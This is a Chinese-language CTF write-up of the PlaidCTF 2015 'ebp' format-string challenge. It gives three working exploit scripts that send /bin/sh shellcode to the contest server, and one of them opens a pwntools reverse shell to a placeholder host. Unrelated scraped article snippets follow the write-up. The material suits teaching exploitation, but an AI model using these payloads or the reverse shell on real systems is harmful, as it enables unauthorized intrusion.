plaidctf2015 ebp
很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。
不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。
第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。
第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。
这样,echo在返回的时候将执行shellcode。
比赛时自己的poc如下:
- from socket import *
- import time
- shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
- sock = socket(AF_INET, SOCK_STREAM)
- #sock.connect(("192.168.200.7", 10001)) #local debug
- sock.connect(("52.6.64.173", 4545))#remote
- time.sleep(1)
- infoleak="%x%x%x%x\n"
- sock.send(infoleak)
- time.sleep(1)
- leak=sock.recv(1024)
- print leak
- echo_ebp=leak[-6:-2]
- print echo_ebp
- echo_ebp=int(echo_ebp,16)
- make_ebp=echo_ebp-32
- main_ebp=echo_ebp+32
- print hex(make_ebp)
- format1="%%%dc" % make_ebp + "%4$hn\n"
- sock.send(format1)
- print sock.recv(1024)
- format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
- sock.send(format2)
- print sock.recv(1024)
- while 1:
- sock.send(raw_input('$ ')+'\n')
- time.sleep(1)
- print sock.recv(1024)
- sock.close()
结果:
此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。
- import socket
- import struct
- import telnetlib
- response = 0x0804a480
- offset = 4 # saved frame pointer offset
- shellcode = ( # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
- "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
- "\x73\x68\x68\x2f\x62\x69\x6e\x54"
- "\x5b\x52\x53\x54\x59\x0f\x34"
- )
- s = socket.create_connection(("52.6.64.173", 4545 ))
- #s = socket.create_connection(("127.0.0.1", 8080 ))
- s.send("%4$p\n")
- addr = int(s.recv(1024), 16)
- print "[+] Leaked Address: ", hex(addr)
- addr1 = (addr - 0x1c) & 0xffff
- print "[+] 2Byte Significant Byte to write : ", hex(addr1)
- s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
- s.recv(4096)
- s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
- print "[+] Here you go"
- t = telnetlib.Telnet()
- t.sock = s
- t.interact()
还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:
- #!/usr/bin/env python
- from pwn import *
- r = remote("52.6.64.173", 4545)
- buf_addr = p32(0x0804a080)
- sc_addr = p32(0x0804A09b)
- payload = ""
- payload += "%134520975u%4$n"
- payload += buf_addr
- payload += sc_addr
- payload += "AAAA"
- payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
- payload += asm(shellcraft.linux.dupsh())
- print "+ sending payload"
- r.send(payload + "\n")
- print "+ got back:", r.recv()
plaidctf2015 ebp的更多相关文章
- esp和ebp详解
最近在研究栈帧的结构,但总是有点乱,所以写了一个小程序来看看esp和ebp在栈帧中的作用.这个程序如下: 这个程序很简单,就是求两个数的值,然后输出即可.所以首先把它用gcc编译链接成a.out,进入 ...
- 栈帧%ebp,%esp详解
首先应该明白,栈是从高地址向低地址延伸的.每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息.寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部( ...
- EBP的妙用[无法使用ESP定律时]
1.了解EBP寄存器 在寄存器里面有很多寄存器虽然他们的功能和使用没有任何的区别,但是在长期的编程和使用 中,在程序员习惯中已经默认的给每个寄存器赋上了特殊的含义,比如:EAX一般用来做返回值,ECX ...
- 基于EBP的栈帧
程序的OEP,一开始以 push ebp 和mov ebp esp这两句开始. 原因:c程序的开始是以一个主函数main()为开始的,而函数在访问的过程中最重要的事情就是要确保堆栈的平衡,而在wi ...
- EBP与ESP寄存器的使用
push ebp mov esp,ebp esp是堆栈指针 ebp是基址指针 这两条指令的意思是将栈顶指向ebp的地址 ---------------------------------------- ...
- C++代码反汇编后的堆栈寄存器EBP和ESP
最近在分析一个进程崩溃的严重问题,其中有些过程分析需要对ebp, esp 有清晰的理解,对于ebp 和esp 相信大家都很熟悉了,但是为了使本文自成体系,我还是解释一下. ebp--栈底指针 esp- ...
- 堆栈中的EIP EBP ESP
EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址. 为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个. 我们DC上讲过栈的数据结构,主要有以下特点: 后进先处.(这个强调 ...
- GCC优化选项-fomit-frame-pointer对于esp和ebp优化的作用
我的博客:www.while0.com -fomit-frame-pointer选项是发布产品时经常会用到的优化选项,它可以优化汇编函数中用edp协助获取堆栈中函数参数的部分,不使用edp,而是通过计 ...
- 汇编之EBP的认识。
说到EBP就不能忽略了ESP.ESP是一个指针,始终执行堆栈的栈顶.而EBP就是那个所谓的堆栈了. 先看几个例子吧. push ebp ; 把ebp,堆栈的0地址压入堆栈 mov ebp,esp ; ...
随机推荐
- Unity Easy Save简单实用
Easy Save使用: 1.保存游戏进度 2.设计游戏关卡(怪物数量,坐标,背景图等等) Easy Save默认存储地址: C:\Users\Administrator\AppData ...
- iOS SDK原生JSON解析
- (IBAction)touchReadButton:(id)sender { NSData *jsonData = [[NSData alloc] initWithContentsOfFile:J ...
- Beauty of Array(思维)
Beauty of Array Time Limit: 2 Seconds Memory Limit: 65536 KB Edward has an array A with N integ ...
- Ice_cream's world I
Ice_cream's world I Time Limit : 3000/1000ms (Java/Other) Memory Limit : 32768/32768K (Java/Other) ...
- 俄罗斯方块:win32api开发
本文简述一门课程,演示win32api开发俄罗斯方块的开发过程.如果学生学习过C语言,没学过或者学习C++不好,刚刚開始学习win32api程序设计,还不懂消息循环和注冊窗体类. 近期的照片在这里 ...
- 实现怎样支持Android重力感应器Sensor编程
添加当重力变化时的处理函数 在创建监听器时调用的函数 doSomething(x, y, z) 是自己定义的方法. 当手机倾斜方向改变时,监听器会调用该方法. 我们要做的,就是填充该方法,用于在重力发 ...
- H5 视频直播相关技术
一.移动视频直播发展 大家首先来看下面这张图: 可以看到,直播从 PC 到一直发展到移动端,越来越多的直播类 App 上线,同时移动直播进入了前所未有的爆发阶段,但是对于大多数移动直播来说,还是要以 ...
- jquery中push()的用法(数组添加元素)
push定义和用法 push() 方法可向数组的末尾添加一个或多个元素,并返回新的长度. 语法 arrayObject.push(newelement1,newelement2,....,newele ...
- PHP学习笔记十二【数组排序】
<?php $arr=array(0,5,-1); $temp=0; for($i=0;$i<count($arr)-1;$i++) { for($j=0;$j<count($arr ...
- Lua编程入门-学习笔记1
第1章:起点 Chunks: 语句块 每个语句结尾的分号是可选的,如果同一行有多个语句最好使用分号分隔: dofile("lib1.lua") -- 执行lua文件 全局变量:局 ...